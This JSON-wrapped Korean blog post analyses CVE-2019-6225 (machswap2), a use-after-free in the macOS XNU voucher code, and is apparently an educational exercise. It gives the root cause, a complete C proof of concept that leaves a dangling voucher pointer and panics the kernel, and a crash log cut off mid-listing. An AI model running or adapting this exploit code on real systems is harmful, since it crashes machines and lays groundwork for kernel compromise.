{"id":3937,"date":"2025-08-23T10:34:31","date_gmt":"2025-08-23T01:34:31","guid":{"rendered":"https:\/\/h4ck.kr\/?p=3937"},"modified":"2025-09-17T14:19:18","modified_gmt":"2025-09-17T05:19:18","slug":"%ec%8b%a4%ec%8a%b5-cve-2019-6225machswap2-%ec%9d%b4%ed%95%b4%ed%95%98%ea%b8%b0","status":"publish","type":"post","link":"https:\/\/h4ck.kr\/?p=3937","title":{"rendered":"[\uc2e4\uc2b5] CVE-2019-6225(machswap2) \uc774\ud574\ud558\uae30"},"content":{"rendered":"\n<p>\uad00\ub828 \uae00\uacfc \ucf54\ub4dc\ub4e4\uc740 \uc544\ub798 \ub9c1\ud06c\uc5d0\uc11c \ud655\uc778\ud558\uc2e4 \uc218 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/tree\/main\/CVE-2019-6225\">https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/tree\/main\/CVE-2019-6225<\/a><\/p>\n\n\n\n<div class=\"wp-block-jetpack-markdown\"><h2>\uc0ac\uc804 \uc9c0\uc2dd<\/h2>\n<h3>Mach\ub780?<\/h3>\n<p>IPC(Inter-Process Communication, \ud504\ub85c\uc138\uc2a4 \uac04 \ud1b5\uc2e0) \ub808\uc774\uc5b4\ub85c,\n\uc2dc\uc2a4\ud15c \ub0b4\uc758 \ud504\ub85c\uc138\uc2a4\ub4e4\uc774 \uc11c\ub85c \uc18c\ud1b5\ud560 \uc218 \uc788\uac8c \ud574\uc90c.<\/p>\n<p>\ucee4\ub110\ubfd0\ub9cc \uc544\ub2c8\ub77c \ud2b9\uc815 \uc791\uc5c5\uc744 \ucc98\ub9ac\ud558\ub294 \uc2dc\uc2a4\ud15c \uc11c\ube44\uc2a4\uc640 \ub370\ubaac\ub4e4\ub3c4 \ud574\ub2f9 IPC \ub808\uc774\uc5b4\uc778 Mach\ub97c \uc0ac\uc6a9\ud568.<\/p>\n<p>ex) bluetoothd \ub370\ubaac \ud504\ub85c\uc138\uc2a4\ub294 Mach \uc11c\ubc84\ub97c \uad6c\ud604\ud558\uace0 \uc788\uc73c\uba70, \uc774\ub97c \ud1b5\ud574 \ube14\ub8e8\ud22c\uc2a4 \uc5f0\uacb0\uc744 \uc124\uc815\ud558\uace0 \uad00\ub9ac\ud568.<\/p>\n<h3>MIG\ub780?<\/h3>\n<p>\uc904\uc5ec\uc11c Mach \uc778\ud130\ud398\uc774\uc2a4 \uc0dd\uc131\uae30\ub77c\uace0 \ud568.<\/p>\n<p>Mach API\ub97c \uc0ac\uc6a9\ud558\uc5ec \uc791\uc131\ub41c \ub9ce\uc740 \ucf54\ub4dc\ub4e4\uc740 \ub3d9\uc77c\ud55c \ubcf4\uc77c\ub7ec\ud50c\ub808\uc774\ud2b8 \ucf54\ub4dc\ub97c \ud3ec\ud568\ud558\uace0 \uc788\uc73c\uba70, \uc774\ub97c \uc5ec\ub7ec \ubc88 \uc218\ud589\ud558\uba74 \ubcf5\uc7a1\uc131\uc744 \ucd08\ub798\ud558\uac70\ub098 \ubcf4\uc548 \ucde8\uc57d\uc810\uc73c\ub85c \uc774\uc5b4\uc9c8 \uc218 \uc788\uc74c.<\/p>\n<p>(\ubcf4\uc77c\ub7ec\ud50c\ub808\uc774\ud2b8 \ucf54\ub4dc: <strong>\uac70\uc758 \ub610\ub294 \uc804\ud600 \ubcc0\uacbd\ud558\uc9c0 \uc54a\uace0 \uc5ec\ub7ec \uacf3\uc5d0\uc11c \uc7ac\uc0ac\uc6a9\ub418\ub294 \ucf54\ub4dc \uc870\uac01)<\/strong><\/p>\n<p>\ubc14\ub85c \uc774\ub54c Mach \uc778\ud130\ud398\uc774\uc2a4 \uc0dd\uc131\uae30\uac00 \ub9e4\uc6b0 \uc720\uc6a9\ud558\uac8c \uc0ac\uc6a9\ub418\uba70, \ubcf5\uc7a1\ud55c Mach \uad00\ub828 \uc791\uc5c5\uc744 \ubaa8\ub450 \ucc98\ub9ac\ud568.\n\uc5ec\uae30\uc5d0\ub294 \uba54\uc2dc\uc9c0 \uad00\ub9ac, \uc751\ub2f5 \ud3ec\ud2b8, \ud0c0\uc784\uc544\uc6c3, \uac1d\uccb4\uc758 \uc218\uba85 \ub610\ub294 \ucc38\uc870 \ud69f\uc218(refcount) \uad00\ub9ac\uac00 \ud3ec\ud568\ub41c\ub2e4.<\/p>\n<h3>IPC Voucher?<\/h3>\n<p>\ucee4\ub110 \ub0b4\ubd80\uc5d0 \ubd88\ubcc0(immutable) key\u2013value \uc18d\uc131 \uc9d1\ud569\uc744 \uc800\uc7a5\ud558\uace0\n\uc774\ub97c Mach \ud3ec\ud2b8(send right) \ud615\ud0dc\ub85c \ud45c\ud604\ud558\ub294 \uac1d\uccb4.<\/p>\n<p><code>host_create_mach_voucher<\/code>\ub77c\ub294 host \ud3ec\ud2b8\uc758 MIG \uba54\uc11c\ub4dc\uc5d0 &quot;\ub808\uc2dc\ud53c(recipes)&quot;\ub97c \uc804\ub2ec\ud558\uba74 \ubc14\uc6b0\ucc98(voucher)\ub97c \uc0dd\uc131\ud558\uace0, \ud574\ub2f9 \ubc14\uc6b0\ucc98\ub97c \ub098\ud0c0\ub0b4\ub294 Mach \ud3ec\ud2b8\uc5d0 \ub300\ud55c send right\ub97c \uc5bb\uc744 \uc218 \uc788\uc74c.<\/p>\n<p>\ub610 \ud558\ub098 \uc911\uc694\ud55c \uc810\uc740 \ubc14\uc6b0\ucc98\ub294 \uace0\uc720\ud574\uc57c \ud558\uba70,\n\ub3d9\uc77c\ud55c \ud0a4\uc640 \uac12\uc758 \uc9d1\ud569\uc5d0 \ub300\ud574\uc11c\ub294 \uc815\ud655\ud788 \ud558\ub098\uc758 Mach \ud3ec\ud2b8\uac00 \uc774\ub97c \ub098\ud0c0\ub0b4\uc57c \ud558\uba70, \ub3d9\uc77c\ud55c \ud0a4\uc640 \uac12\uc758 \uc9d1\ud569\uc744 \uac00\uc9c4 \ub610 \ub2e4\ub978 \ub808\uc2dc\ud53c\ub97c \uc81c\uacf5\ud558\uba74 \uac19\uc740 \ubc14\uc6b0\ucc98\uc640 \ud3ec\ud2b8\ub97c \ubc18\ud658\ud574\uc57c \ud55c\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">    File: .\/osfmk\/ipc\/ipc_voucher.h\n    63: \/*\n    64:  * IPC Voucher\n    65:  *\n    66:  * \ubc14\uc6b0\ucc98(Voucher)\ub294 \ucc38\uc870 \uce74\uc6b4\ud305\uc774 \uc801\uc6a9\ub41c \ubd88\ubcc0(\ud55c\ubc88 \uc0dd\uc131\ub418\uba74 \ubcc0\uacbd \ubd88\uac00\ub2a5) \uac1d\uccb4\ub85c,\n    67:  * \ud2b9\uc815 \ub9ac\uc18c\uc2a4 \uad00\ub9ac\uc790\uc758 \uc18d\uc131 \uac12\uc5d0 \ub300\ud55c \uc778\ub371\uc2a4 \uc9d1\ud569\uc744 \ud3ec\ud568\ud569\ub2c8\ub2e4. \n    68:  * \uc774\ub7ec\ud55c \uc18d\uc131 \uac12\ub4e4\ub3c4 \ucc38\uc870 \uce74\uc6b4\ud305\uc774 \uc801\uc6a9\ub429\ub2c8\ub2e4.\n    69:  *\/\n    70: struct ipc_voucher {\n    71: \tiv_index_t\t\tiv_hash;\t\/* checksum hash *\/\n    72: \tiv_index_t\t\tiv_sum;\t\t\/* checksum of values *\/\n    73: \tos_refcnt_t\t\tiv_refs;\t\/* reference count *\/\n    74: \tiv_index_t\t\tiv_table_size;\t\/* size of the voucher table *\/\n    75: \tiv_index_t\t\tiv_inline_table[IV_ENTRIES_INLINE];\n    76: \tiv_entry_t\t\tiv_table;\t\/* table of voucher attr entries *\/\n    77: \tipc_port_t\t\tiv_port;\t\/* port representing the voucher *\/\n    78: \tqueue_chain_t\t\tiv_hash_link;\t\/* link on hash chain *\/\n    79: };\n    80: \n    81: #define IV_NULL \tIPC_VOUCHER_NULL\n<\/code><\/pre>\n<h2>\ubc84\uadf8\uc5d0 \ub300\ud55c \uadfc\ubcf8 \uc6d0\uc778 \ubd84\uc11d<\/h2>\n<p><a href=\"https:\/\/github.com\/apple-oss-distributions\/xnu\/blob\/xnu-4903.221.2\">https:\/\/github.com\/apple-oss-distributions\/xnu\/blob\/xnu-4903.221.2<\/a><\/p>\n<p><code>\/xnu-4903.221.2\/osfmk\/kern\/task.c<\/code> \ud30c\uc77c\uc5d0 \uc788\ub294 <code>task_swap_mach_voucher<\/code> \ud568\uc218\uc5d0\uc11c \ud655\uc778\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p>\ud574\ub2f9 \ud568\uc218\ub294 \uc0c8\ub85c\uc6b4 \ubc14\uc6b0\ucc98\uc640 \uc624\ub798\ub41c \ubc14\uc6b0\ucc98\ub97c \ubc1b\uc544 \uc11c\ub85c \uad50\ud658\ud558\ub294 \uac04\ub2e8\ud55c \ud568\uc218\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/Screenshot_2025-08-02_at_7.26.15_AM.png\" alt=\"Screenshot 2025-08-02 at 7.26.15\u202fAM.png\"><\/p>\n<p>\uc2e4\uc81c\ub85c \uc774 \ucf54\ub4dc\uc5d0 \uc5b4\ub5a4 \ubc84\uadf8\uac00 \uc788\ub294\uc9c0 \ud655\uc778\ud558\ub824\uba74, <code>task_swap_mach_voucher<\/code>\ub97c \ud638\ucd9c\ud558\ub294 MIG \uc790\ub3d9 \uc0dd\uc131 \ucf54\ub4dc\ub97c \ud1b5\ud574 \uc54c\uc544\ubcf4\uc544\uc57c \ud55c\ub2e4.<\/p>\n<p>\uc544\ub798 \uba85\ub839\uc5b4\ub97c \ud1b5\ud574 MIG \ud234\ub85c \ucf54\ub4dc\ub97c \uc0dd\uc131\uc2dc\ucf1c\ubcf4\uc790.<\/p>\n<p>macOS 10.14.1 \ud658\uacbd\uc5d0\uc11c xnu-4903.221.2 \ub300\uc0c1\uc73c\ub85c \uc9c4\ud589\ud558\uc600\ub2e4.<\/p>\n<p>MIG \ub798\ud37c\ub97c \uc0dd\uc131\ud558\ub824\uba74 \uc0c8\ub85c \ub9cc\ub4e0 \uc784\uc2dc \ub514\ub809\ud130\ub9ac\uc5d0\uc11c task.defs \ud30c\uc77c\uc5d0 \ub300\ud574 mig\ub97c \uc2e4\ud589\uc2dc\ud0a4\uba74 \ub41c\ub2e4.<\/p>\n<p>task.defs \ud30c\uc77c\uc740 \/osfmk\/mach\/task.defs \uacbd\ub85c\uc5d0 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-bash\">cd ~\/xnu-4903.221.2\n\nmkdir work\n\ncd work\n\ncp ..\/osfmk\/mach\/task.defs .\n\nmig -DKERNEL -DKERNEL_SERVER task.defs\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/Screenshot_2025-08-02_at_10.08.24_AM.png\" alt=\"Screenshot 2025-08-02 at 10.08.24\u202fAM.png\"><\/p>\n<p>\ub2e4\uc74c\uc740 <code>task_swap_mach_voucher<\/code>\uc5d0 \ub300\ud55c \uad00\ub828 MIG \uc815\uc758\uc774\ub2e4.<\/p>\n<p>osfmk\/mach\/task.defs:455 \uc904\uc5d0\uc11c \ud655\uc778\ud560 \uc218 \uc788\uc73c\uba70,\n<code>task_swap_mach_voucher<\/code> \ud568\uc218\ub294 \ud50c\ub808\uc774\uc2a4\ud640\ub354\ub2e4.<\/p>\n<p>\uc774\ub294 \uc2e4\uc81c\ub85c Mach API\uc784\uc744 \ub098\ud0c0\ub0b4\ub294\ub370,\nMIG \uc815\uc758 \ud30c\uc77c\ub4e4\uc774 Mach \uc778\ud130\ud398\uc774\uc2a4\ub97c \uc704\ud55c \ucf54\ub4dc\ub97c \uc0dd\uc131\ud558\uace0 \uc788\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">routine task_swap_mach_voucher(\n                               task        : task_t;\n                               new_voucher : ipc_voucher_t;\n                         inout old_voucher : ipc_voucher_t);\n\n\/* IPC voucher internal object *\/\ntype ipc_voucher_t = mach_port_t\n     intran: ipc_voucher_t convert_port_to_voucher(mach_port_t)\n     outtran: mach_port_t convert_voucher_to_port(ipc_voucher_t)\n     destructor: ipc_voucher_release(ipc_voucher_t)\n;\n<\/code><\/pre>\n<p>MIG \ub798\ud37c\ub97c \uc0dd\uc131\ud588\ub358 \uc784\uc2dc \ub514\ub809\ud130\ub9ac\uc5d0\uc11c task.h \ud30c\uc77c\uc744 \ud655\uc778\ud574\ubcf8\ub2e4.<\/p>\n<p>2047\uc904\ubd80\ud130 <code>task_swap_mach_voucher<\/code> \ud568\uc218\uc758 Mach \uba54\uc2dc\uc9c0 \ud615\uc2dd\uc744 \ud655\uc778\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/Screenshot_2025-08-02_at_10.11.52_AM.png\" alt=\"Screenshot 2025-08-02 at 10.11.52\u202fAM.png\"><\/p>\n<p>\uadf8\ub9ac\uace0 <code>task_server.c<\/code> \ud30c\uc77c\uc758 6732\uc904\ubd80\ud130 \ud574\ub2f9 \ud568\uc218 \uc694\uccad\uc5d0 \ub300\ud55c \uac80\uc0ac\uac00 \uc218\ud589\ub418\ub294\uac83\uc744 \uc54c \uc218 \uc788\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/Screenshot_2025-08-02_at_10.13.15_AM.png\" alt=\"Screenshot 2025-08-02 at 10.13.15\u202fAM.png\"><\/p>\n<p>\uadf8\ub9ac\uace0 \uc2e4\uc81c \uad6c\ud604\uc740 <code>task_server.c<\/code> \ud30c\uc77c\uc758 6775\uc904\ubd80\ud130 \ud655\uc778 \uac00\ub2a5\ud558\uba70,\n\uc5ec\uae30\uc11c\ubd80\ud130 \ucde8\uc57d\uc810\uc744 \ud655\uc778\ud560 \uc218 \uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/* Routine task_swap_mach_voucher *\/\nmig_internal novalue _Xtask_swap_mach_voucher\n\t(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)\n{\n...\n\tkern_return_t RetCode;\n\ttask_t task;\n\tipc_voucher_t new_voucher;\n\tipc_voucher_t old_voucher;\n...\n\ttask = convert_port_to_task(In0P-&gt;Head.msgh_request_port);\n\n\/\/ 1. Reference count of new_voucher + 1\n\tnew_voucher = convert_port_to_voucher(In0P-&gt;new_voucher.name);\n\/\/ 2. Reference count of old_voucher + 1\n\told_voucher = convert_port_to_voucher(In0P-&gt;old_voucher.name);\n\/\/ 3. task_swap_mach_voucher called -&gt; old_voucher = new_voucher\n\tRetCode = task_swap_mach_voucher(task, new_voucher, &amp;old_voucher);\n\/\/ 4. Reference count of new_voucher - 1\n\tipc_voucher_release(new_voucher);\n\ttask_deallocate(task);\n\tif (RetCode != KERN_SUCCESS) {\n\t\tMIG_RETURN_ERROR(OutP, RetCode);\n\t}\n...\n\tif (IP_VALID((ipc_port_t)In0P-&gt;old_voucher.name))\n\t\tipc_port_release_send((ipc_port_t)In0P-&gt;old_voucher.name);\n\n\tif (IP_VALID((ipc_port_t)In0P-&gt;new_voucher.name))\n\t\tipc_port_release_send((ipc_port_t)In0P-&gt;new_voucher.name);\n...\n\/\/ 5. Reference count of new_voucher - 1 (Because old_voucher is now new_voucher)\n\tOutP-&gt;old_voucher.name = (mach_port_t)convert_voucher_to_port(old_voucher);\n\n\tOutP-&gt;Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX;\n\tOutP-&gt;Head.msgh_size = (mach_msg_size_t)(sizeof(Reply));\n\tOutP-&gt;msgh_body.msgh_descriptor_count = 1;\n\t...\n}\n<\/code><\/pre>\n<ul>\n<li>\n<p>\ub0b4\ubd80 \ucf54\ub4dc\ub4e4\uc744 \ub530\ub77c\uac00\ubd24\uc744\ub54c\uc758 \uc0ac\uc9c4<\/p>\n<p>\ucf54\ub4dc\ub97c \ub530\ub77c\uac04 \uc0ac\uc9c4; \uc0ac\uc9c4\uc744 \ub2e4\uc6b4\ub85c\ub4dc\ud574\uc11c \ubcf4\ub294\uac83\uc744 \ucd94\ucc9c<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/image.png\" alt=\"image.png\"><\/p>\n<\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/image%201.png\" alt=\"image.png\"><\/p>\n<p>\uc774\uc81c \ubb38\uc81c\ub97c \ubcf4\uae30 \uc2dc\uc791\ud588\uc744 \uac83\uc774\ub2e4.\n<strong>new_voucher<\/strong>\uc758 \ucc38\uc870 \uce74\uc6b4\ud2b8\uac00 0\uc73c\ub85c \uac10\uc18c\ud558\uc5ec \uac1d\uccb4\uac00 \ud574\uc81c\ub420 \uc218 \uc788\uc73c\uba70,\n<strong>old_voucher<\/strong>\uc758 \ucc38\uc870 \uce74\uc6b4\ud2b8\ub294 \ub108\ubb34 \ub9ce\uc774 \uc99d\uac00\ud560 \uc218 \uc788\ub2e4.<\/p>\n<p>\ub530\ub77c\uc11c \ubc14\uc6b0\ucc98\ub97c \uac00\ub9ac\ud0a4\ub294 \ub369\uae00\ub9c1 \ud3ec\uc778\ud130\uac00 \uc0dd\uae38 \uc218 \uc788\ub294\ub370,<\/p>\n<p>\uc774\ub294 \ubc14\uc6b0\ucc98\ub97c \uac00\ub9ac\ud0a4\ub294 \ud3ec\uc778\ud130\ub97c \uc800\uc7a5\ud55c \ud6c4, \ucde8\uc57d\uc810\uc744 \uc774\uc6a9\ud574 \ubc14\uc6b0\ucc98\uc758 \ucc38\uc870 \uce74\uc6b4\ud2b8\ub97c 0\uc73c\ub85c \uac10\uc18c\uc2dc\ucf1c \ubc14\uc6b0\ucc98\ub97c \ud574\uc81c\ud568\uc73c\ub85c\uc368 \uac00\ub2a5\ud558\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/image%202.png\" alt=\"image.png\"><\/p>\n<h2>\uac1c\ub150 \uc99d\uba85 \ucf54\ub4dc 1<\/h2>\n<p>\uc544\ub798 \uac1c\ub150 \uc99d\uba85 \ucf54\ub4dc\ub294 Mach \ubc14\uc6b0\ucc98(Mach voucher)\ub97c \uc0dd\uc131\ud55c \ud6c4,\n<code>thread_set_mach_voucher()<\/code>\ub97c \ud1b5\ud574 \ud604\uc7ac \uc2a4\ub808\ub4dc\uc758 <code>ith_voucher<\/code> \ud544\ub4dc\uc5d0 \ud574\ub2f9 \ubc14\uc6b0\ucc98\uc5d0 \ub300\ud55c \ucc38\uc870\ub97c \uc800\uc7a5\ud55c\ub2e4.<\/p>\n<p>\uc774\ud6c4 <code>task_swap_mach_voucher()<\/code>\ub97c \uc0ac\uc6a9\ud558\uc5ec \ucc38\uc870 \uce74\uc6b4\ud2b8\ub97c 1\ub85c \uac10\uc18c\uc2dc\ud0a4\uace0, \uc0ac\uc6a9\uc790 \uacf5\uac04\uc5d0\uc11c \ud574\ub2f9 \ubc14\uc6b0\ucc98 \ud3ec\ud2b8\ub97c \ud560\ub2f9 \ud574\uc81c\ud558\uc5ec \ubc14\uc6b0\ucc98\ub97c \ud574\uc81c\ud55c\ub2e4.<\/p>\n<p>\uc774\ub85c \uc778\ud574 \ud574\uc81c\ub41c \ubc14\uc6b0\ucc98\uc758 \uba54\ubaa8\ub9ac\uc5d0 \ub300\ud55c \ub315\uae00\ub9c1 \ud3ec\uc778\ud130(dangling pointer)\uac00 <code>ith_voucher<\/code>\uc5d0 \ub0a8\uac8c \ub418\uba70, \uc774\ud6c4 <code>thread_get_mach_voucher()<\/code> \ud638\ucd9c\uc744 \ud1b5\ud574 \uc774 \ud3ec\uc778\ud130\uc5d0 \uc811\uadfc\ud558\uba74 \ucee4\ub110 \ud328\ub2c9\uc774 \ubc1c\uc0dd\ud558\uac8c \ub418\ub294 \ucf54\ub4dc\uc774\ub2e4.<\/p>\n<ul>\n<li>poc1.c<\/li>\n<\/ul>\n<pre><code class=\"language-c\">#include &lt;assert.h&gt;\n#include &lt;mach\/mach.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;unistd.h&gt;\n\n\/\/ Stash the host port for create_voucher().\nmach_port_t host;\n\n\/*\n * create_voucher\n *\n * Description:\n * \tCreate a Mach voucher. If id is unique, then this will be a unique voucher (until another\n * \tcall to this function with the same id).\n *\n * \tA Mach voucher port for the voucher is returned. The voucher has 1 reference, while the\n * \tvoucher port has 2 references and 1 send right.\n *\/\nstatic mach_port_t\ncreate_voucher(uint64_t id) {\n\tassert(host != MACH_PORT_NULL);\n\tmach_port_t voucher = MACH_PORT_NULL;\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored &quot;-Wgnu-variable-sized-type-not-at-end&quot;\n\tstruct __attribute__((packed)) {\n\t\tmach_voucher_attr_recipe_data_t user_data_recipe;\n\t\tuint64_t user_data_content[2];\n\t} recipes = {};\n#pragma clang diagnostic pop\n\trecipes.user_data_recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA; \/\/7\n\trecipes.user_data_recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE; \/\/211\n\trecipes.user_data_recipe.content_size = sizeof(recipes.user_data_content);\n\trecipes.user_data_content[0] = getpid();\n\trecipes.user_data_content[1] = id;\n\tkern_return_t kr = host_create_mach_voucher(\n\t\t\thost,\n\t\t\t(mach_voucher_attr_raw_recipe_array_t) &amp;recipes,\n\t\t\tsizeof(recipes),\n\t\t\t&amp;voucher);\n\tassert(kr == KERN_SUCCESS);\n\tassert(voucher != MACH_PORT_NULL);\n\treturn voucher;\n}\n\n\/*\n * voucher_tweak_references\n *\n * Description:\n * \tUse the task_swap_mach_voucher() vulnerabilities to modify the reference counts of 2\n * \tvouchers. \n *\n *\/\nstatic void\nvoucher_tweak_references(mach_port_t release_voucher, mach_port_t reference_voucher) {\n\t\/\/ Call task_swap_mach_voucher() to tweak the reference counts (two bugs in one!).\n\tmach_port_t inout_voucher = reference_voucher;\n\tkern_return_t kr = task_swap_mach_voucher(mach_task_self(), release_voucher, &amp;inout_voucher);\n\tassert(kr == KERN_SUCCESS);\n\t\/\/ At this point we've successfully tweaked the voucher reference counts, but our port\n\t\/\/ reference counts might be messed up because of the voucher port returned in\n\t\/\/ inout_voucher! We need to deallocate it (it's extra anyways, since\n\t\/\/ task_swap_mach_voucher() doesn't swallow the existing send rights).\n\tif (MACH_PORT_VALID(inout_voucher)) {\n\t\tkr = mach_port_deallocate(mach_task_self(), inout_voucher);\n\t\tassert(kr == KERN_SUCCESS);\n\t}\n}\n\n\/*\n * voucher_reference\n *\n * Description:\n * \tAdd a reference to the voucher represented by the voucher port.\n *\/\nstatic void\nvoucher_reference(mach_port_t voucher) {\n\tvoucher_tweak_references(MACH_PORT_NULL, voucher);\n}\n\n\/*\n * voucher_release\n *\n * Description:\n * \tRelease a reference on the voucher represented by the voucher port.\n *\/\nstatic void\nvoucher_release(mach_port_t voucher) {\n\tvoucher_tweak_references(voucher, MACH_PORT_NULL);\n}\n\n\/*\n * thread_stash_freed_voucher\n *\n * Description:\n * \tStash a pointer to a freed voucher object in the current thread's ith_voucher field. This\n * \tvoucher can be accessed later with thread_get_mach_voucher().\n *\/\nstatic void\nthread_stash_freed_voucher(mach_port_t thread_self) {\n\t\/\/ Create a unique voucher. This voucher will have 1 voucher reference, 2 port references,\n\t\/\/ and 1 port send right.\n\tmach_port_t voucher = create_voucher(0);\n\t\/\/ Stash a copy of the voucher in our thread. This will bump the voucher references to 2.\n\tkern_return_t kr = thread_set_mach_voucher(thread_self, voucher);\n\tassert(kr == KERN_SUCCESS);\n\t\/\/ Now drop the voucher reference count to 1. The port reference count is still 2.\n\tvoucher_release(voucher);\n\t\/\/ Next deallocate our send right to the voucher port. This drops the port send right\n\t\/\/ count to 0 (although the port reference count is still 1), causing a no-senders\n\t\/\/ notification to be triggered. The no-senders notification calls ipc_voucher_notify(),\n\t\/\/ which releases the final voucher reference. In the process of freeing the voucher,\n\t\/\/ ipc_port_dealloc_kernel() is called on the port, so the port is also freed.\n\tkr = mach_port_deallocate(mach_task_self(), voucher);\n\tassert(kr == KERN_SUCCESS);\n\t\/\/ This leaves a dangling pointer to the voucher in thread_self-&gt;ith_voucher. We can access\n\t\/\/ the freed voucher and voucher port with a call to thread_get_mach_voucher().\n}\n\nint\nmain(int argc, const char *argv[]) {\n\thost = mach_host_self();\n\tmach_port_t thread = mach_thread_self();\n\t\/\/ Stash a pointer to a freed ipc_voucher_t in this thread's ith_voucher field.\n\tthread_stash_freed_voucher(thread);\n\t\/\/ The following call should trigger a panic.\n\tmach_port_t voucher;\n\tthread_get_mach_voucher(thread, 0, &amp;voucher);\n\treturn 0;\n}\n<\/code><\/pre>\n<h3>\ud06c\ub798\uc2dc \ub85c\uadf8<\/h3>\n<p>*** Panic Report ***\npanic(cpu 0 caller 0xffffff800ebe5739): \u201cos_refcnt: used unsafely when zero (rc=0xffffff80173ee918, grp=&lt;null&gt;)\\n\u201d@\/BuildRoot\/Library\/Caches\/com.apple.xbs\/Sources\/xnu\/xnu-4903.221.2\/libkern\/os\/refcnt.c:49<\/p>\n<pre><code class=\"language-bash\">Anonymous UUID:       669CA505-4C1E-F5BE-EFB4-13F2D89CF791\n\nThu Jul 31 13:16:29 2025\n\n*** Panic Report ***\npanic(cpu 0 caller 0xffffff800ebe5739): &quot;os_refcnt: used unsafely when zero (rc=0xffffff80173ee918, grp=&lt;null&gt;)\\n&quot;@\/BuildRoot\/Library\/Caches\/com.apple.xbs\/Sources\/xnu\/xnu-4903.221.2\/libkern\/os\/refcnt.c:49\nBacktrace (CPU 0), Frame : Return Address\n0xffffff8872ee3a40 : 0xffffff800ebaca9d mach_kernel : _handle_debugger_trap + 0x48d\n0xffffff8872ee3a90 : 0xffffff800ece6893 mach_kernel : _kdp_i386_trap + 0x153\n0xffffff8872ee3ad0 : 0xffffff800ecd82ba mach_kernel : _kernel_trap + 0x4fa\n0xffffff8872ee3b40 : 0xffffff800eb59ca0 mach_kernel : _return_from_trap + 0xe0\n0xffffff8872ee3b60 : 0xffffff800ebac4b7 mach_kernel : _panic_trap_to_debugger + 0x197\n0xffffff8872ee3c80 : 0xffffff800ebac303 mach_kernel : _panic + 0x63\n0xffffff8872ee3cf0 : 0xffffff800ebe5739 mach_kernel : _thread_get_mach_voucher + 0x1d9\n0xffffff8872ee3d40 : 0xffffff800ec20097 mach_kernel : _thread_act_server_routine + 0x2627\n0xffffff8872ee3d80 : 0xffffff800ebb218d mach_kernel : _ipc_kobject_server + 0x12d\n0xffffff8872ee3dd0 : 0xffffff800eb8cb45 mach_kernel : _ipc_kmsg_send + 0x225\n0xffffff8872ee3e50 : 0xffffff800eba14fe mach_kernel : _mach_msg_overwrite_trap + 0x38e\n0xffffff8872ee3ef0 : 0xffffff800ecbfa0b mach_kernel : _mach_call_munger64 + 0x22b\n0xffffff8872ee3fa0 : 0xffffff800eb5a486 mach_kernel : _hndl_mach_scall64 + 0x16\n\nBSD process name corresponding to current thread: poc\nBoot args: -v keepsyms=1 amfi_get_out_of_my_way=1 tlbto_us=0 vti=9 \n\nMac OS version:\n18B75\n\nKernel version:\nDarwin Kernel Version 18.2.0: Fri Oct  5 19:41:49 PDT 2018; root:xnu-4903.221.2~2\/RELEASE_X86_64\nKernel UUID: 5D53F7E4-472A-369D-97D8-4DD877A4BDFF\nKernel slide:     0x000000000e800000\nKernel text base: 0xffffff800ea00000\n__HIB  text base: 0xffffff800e900000\nSystem model name: iMacPro1,1 (Mac-7BA5B2D9E42DDD94)\n\nSystem uptime in nanoseconds: 4049157191071\nlast loaded kext at 384662062545: com.apple.filesystems.msdosfs\t1.10 (addr 0xffffff7f91898000, size 69632)\nlast unloaded kext at 549447060680: com.apple.filesystems.msdosfs\t1.10 (addr 0xffffff7f91898000, size 69632)\nloaded kexts:\nas.acidanthera.BrcmFirmwareStore\t2.6.9\nas.vit9696.AppleALC\t1.9.0\nas.vit9696.WhateverGreen\t1.6.7\nas.vit9696.Lilu\t1.6.8\ncom.apple.driver.X86PlatformShim\t1.0.0\ncom.apple.driver.AGPM\t110.23.46\ncom.apple.driver.ApplePlatformEnabler\t2.7.0d0\ncom.apple.fileutil\t1\ncom.apple.filesystems.autofs\t3.0\ncom.apple.driver.AppleHDA\t282.10\ncom.apple.driver.Apple16X50ACPI\t3.2\ncom.apple.driver.AppleOSXWatchdog\t1\ncom.apple.AGDCPluginDisplayMetrics\t3.25.6\ncom.apple.driver.AppleHV\t1\ncom.apple.iokit.IOUserEthernet\t1.0.1\ncom.apple.iokit.IOBluetoothSerialManager\t6.0.9f2\ncom.apple.Dont_Steal_Mac_OS_X\t7.0.0\ncom.apple.driver.AppleIntelSlowAdaptiveClocking\t4.0.0\ncom.apple.driver.AppleUpstreamUserClient\t3.6.5\ncom.apple.driver.AppleMCCSControl\t1.5.6\ncom.apple.filesystems.apfs\t945.220.38\ncom.apple.driver.AppleVmxnet3Ethernet